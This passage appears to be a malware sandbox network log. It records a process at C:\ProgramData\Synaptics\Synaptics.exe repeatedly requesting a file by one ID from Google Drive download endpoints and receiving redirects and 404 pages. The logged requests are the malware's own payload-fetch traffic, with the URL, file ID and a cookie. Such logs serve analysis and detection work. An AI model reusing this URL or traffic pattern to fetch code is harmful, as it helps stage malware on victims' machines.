2025-01-02 19:29:23 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:23 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 71 58 4d 4a 36 57 6f 35 6f 4b 70 62 55 2d 46 43 6d 4b 6b 58 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="7qXMJ6Wo5oKpbU-FCmKkXA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:23 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	50140	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:24 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4EKrRzDC6V7XZ2kaAd8tKUDWdQ9C_H3aMNN5KyhSYg3iypqV1Bxsus55zEe2mDX-f3 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:24 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0bNmzfulS7w6-WAGh6lgDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:24 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:24 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 47 4f 63 34 73 6f 50 35 33 61 77 6e 4e 34 4c 4e 36 46 77 32 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="9GOc4soP53awnN4LN6Fw2w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:24 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	50139	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:23 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Ohtp9JgBkmXpu4HypVK0XA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	50141	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:24 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-YUTVTyZHc1kPDrivS5aL2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	50144	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:24 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:24 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4O8GMataXfOiOZy6yD4fnVvrv013mD7qWpJP_Skj3VpArmB1sks3gMRhEcNEpzqyII Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:24 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3RlGUm-_RgE7R4gc7J5u5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:24 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:24 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 47 45 55 49 67 44 4d 36 75 73 41 56 67 36 38 49 44 67 2d 34 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="xGEUIgDM6usAVg68IDg-4w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:24 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	50150	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:24 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:25 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4z6xf3v4O9nOF38TImOYZ2V7kK8b1ngSojAxQbgCCglZPTrIKI4Hp8NTFFRKAaz0De Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:25 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-NtkrTJjYXmu21pxBvLHfhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:25 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:25 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 5a 31 75 76 76 55 76 71 4a 45 61 4c 7a 48 77 6e 63 6f 70 76 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="JZ1uvvUvqJEaLzHwncopvg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:25 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	50149	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:24 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-NDcBSG59QdYedUplM03gPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	50153	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pKkHVf04bDFn-Mf9uc0Psg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	50154	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
